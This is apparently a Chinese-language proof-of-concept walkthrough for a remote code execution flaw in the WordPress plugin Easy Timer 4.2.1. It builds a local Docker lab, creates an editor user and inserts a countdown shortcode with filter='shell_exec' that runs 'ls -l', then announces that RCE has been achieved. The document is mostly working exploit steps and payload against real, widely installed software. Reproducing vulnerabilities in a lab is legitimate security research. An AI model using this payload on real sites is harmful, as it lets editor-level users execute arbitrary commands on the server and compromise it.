Easy Timer v4.2.1 -

前提条件

• 已安装 Docker Engine
• 已安装 Docker Compose

请参阅官方 Docker 文档进行安装：Docker Engine 安装

1. 使用 Docker 启动 WordPress

在您的项目目录中执行：

sudo docker-compose up -d
mkdir -p wp-content/plugins
cd wp-content/plugins

wget https://downloads.wordpress.org/plugin/easy-timer.4.2.1.zip
unzip easy-timer.4.2.1.zip

sudo docker compose restart wordpress

2. 设置 WordPress

1. 访问 http://localhost:8000/
2. 完成 WordPress 设置
3. 进入 WordPress 仪表盘 → 插件 → Easy Timer，然后点击 启用。

3. 添加具有编辑者权限的新用户

在您的项目目录中执行以下命令：

docker compose run --rm wpcli user create \
  editoruser [email protected] \
  --role=editor \
  --user_pass=P@ssw0rd!

（注意：请替换为您自己选择的用户名、邮箱和密码！）

4. 创建文章

1. 进入 文章 → 写文章
2. 插入一个 短代码块，并输入：

[countdown date=2025/12/17-00:00:00 filter="shell_exec"]ls -l[/countdown]

3. 点击 更新 → 预览文章 以查看计时器执行效果。

⚠️ 注意：请确保您使用的是 短代码块，而不是段落块，以便短代码能够正确渲染。

恭喜，您已获得 RCE。

调试技巧

• 检查正在运行的容器：

sudo docker ps

您应该会看到类似以下内容：

• 如果短代码 未渲染：

  1. 进入 外观 → 主题
  2. 启用 Twenty Twenty-Three（或其他默认主题）。

• 如果访问 http://localhost:8000/ 时提示 数据库未连接：

  1. 等待一两分钟，让数据库完成初始化设置。